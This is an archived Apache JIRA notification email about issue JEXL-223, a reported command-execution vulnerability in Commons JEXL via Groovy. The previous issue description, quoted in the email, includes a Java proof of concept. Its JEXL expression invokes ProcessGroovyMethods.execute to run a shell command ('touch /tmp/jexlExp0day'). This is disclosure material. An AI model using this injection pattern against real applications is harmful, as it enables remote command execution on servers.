Return-Path: X-Original-To: archive-asf-public-internal@cust-asf2.ponee.io Delivered-To: archive-asf-public-internal@cust-asf2.ponee.io Received: from cust-asf.ponee.io (cust-asf.ponee.io [163.172.22.183]) by cust-asf2.ponee.io (Postfix) with ESMTP id A8A7B200C4E for ; Fri, 21 Apr 2017 09:43:08 +0200 (CEST) Received: by cust-asf.ponee.io (Postfix) id A72D7160BA2; Fri, 21 Apr 2017 07:43:08 +0000 (UTC) Delivered-To: archive-asf-public@cust-asf.ponee.io Received: from mail.apache.org (hermes.apache.org [140.211.11.3]) by cust-asf.ponee.io (Postfix) with SMTP id EF678160B97 for ; Fri, 21 Apr 2017 09:43:07 +0200 (CEST) Received: (qmail 95799 invoked by uid 500); 21 Apr 2017 07:43:07 -0000 Mailing-List: contact issues-help@commons.apache.org; run by ezmlm Precedence: bulk List-Help: List-Unsubscribe: List-Post: List-Id: Reply-To: issues@commons.apache.org Delivered-To: mailing list issues@commons.apache.org Received: (qmail 95788 invoked by uid 99); 21 Apr 2017 07:43:07 -0000 Received: from pnap-us-west-generic-nat.apache.org (HELO spamd1-us-west.apache.org) (209.188.14.142) by apache.org (qpsmtpd/0.29) with ESMTP; Fri, 21 Apr 2017 07:43:07 +0000 Received: from localhost (localhost [127.0.0.1]) by spamd1-us-west.apache.org (ASF Mail Server at spamd1-us-west.apache.org) with ESMTP id 80A8FC06EA for ; Fri, 21 Apr 2017 07:43:06 +0000 (UTC) X-Virus-Scanned: Debian amavisd-new at spamd1-us-west.apache.org X-Spam-Flag: NO X-Spam-Score: -99.202 X-Spam-Level: X-Spam-Status: No, score=-99.202 tagged_above=-999 required=6.31 tests=[KAM_ASCII_DIVIDERS=0.8, RP_MATCHES_RCVD=-0.001, SPF_PASS=-0.001, USER_IN_WHITELIST=-100] autolearn=disabled Received: from mx1-lw-eu.apache.org ([10.40.0.8]) by localhost (spamd1-us-west.apache.org [10.40.0.7]) (amavisd-new, port 10024) with ESMTP id DwELchGmBc-n for ; Fri, 21 Apr 2017 07:43:05 +0000 (UTC) Received: from mailrelay1-us-west.apache.org (mailrelay1-us-west.apache.org [209.188.14.139]) by mx1-lw-eu.apache.org (ASF Mail Server at mx1-lw-eu.apache.org) with ESMTP id 86F815F485 for ; Fri, 21 Apr 2017 07:43:05 +0000 (UTC) Received: from jira-lw-us.apache.org (unknown [207.244.88.139]) by mailrelay1-us-west.apache.org (ASF Mail Server at mailrelay1-us-west.apache.org) with ESMTP id C6CA8E0D56 for ; Fri, 21 Apr 2017 07:43:04 +0000 (UTC) Received: from jira-lw-us.apache.org (localhost [127.0.0.1]) by jira-lw-us.apache.org (ASF Mail Server at jira-lw-us.apache.org) with ESMTP id 2A73621B57 for ; Fri, 21 Apr 2017 07:43:04 +0000 (UTC) Date: Fri, 21 Apr 2017 07:43:04 +0000 (UTC) From: "cnbird (JIRA)" To: issues@commons.apache.org Message-ID: In-Reply-To: References: Subject: [jira] [Updated] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-JIRA-FingerPrint: 30527f35849b9dde25b450d4833f0394 archived-at: Fri, 21 Apr 2017 07:43:08 -0000 [ https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] cnbird updated JEXL-223: ------------------------ Description: 0x01 Summary Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy. 0x02 POC POC Report to Apache Security Email Address. was: 0x01 Summary Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy. 0x02 POC {code} import java.io.IOException; import java.util.List; import org.apache.commons.jexl3.JexlBuilder; import org.apache.commons.jexl3.JexlContext; import org.apache.commons.jexl3.JexlEngine; import org.apache.commons.jexl3.JexlExpression; import org.apache.commons.jexl3.MapContext; import org.codehaus.groovy.runtime.ProcessGroovyMethods; public class elExp { public static void main(String args[]) throws IOException { // Create or retrieve an engine JexlEngine jexl = new JexlBuilder().create(); // Create an expression //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")"; ProcessGroovyMethods n = new ProcessGroovyMethods(); System.out.println(n.execute("id").toString()); String jexlExp = "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch /tmp/jexlExp0day\")"; JexlExpression e = jexl.createExpression( jexlExp ); try { Process process = new ProcessBuilder("id").start(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } // Create a context and add data JexlContext jc = new MapContext(); jc.set("foo", jexlExp ); // Now evaluate the expression, getting the result Object o = e.evaluate(jc); System.out.println(o); } } {code} > Apache Commons JEXL Expression Execute Command Vulnerabilitity > -------------------------------------------------------------- > > Key: JEXL-223 > URL: https://issues.apache.org/jira/browse/JEXL-223 > Project: Commons JEXL > Issue Type: Bug > Reporter: cnbird > Priority: Critical > > 0x01 Summary > Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy. > 0x02 POC > POC Report to Apache Security Email Address. -- This message was sent by Atlassian JIRA (v6.3.15#6346)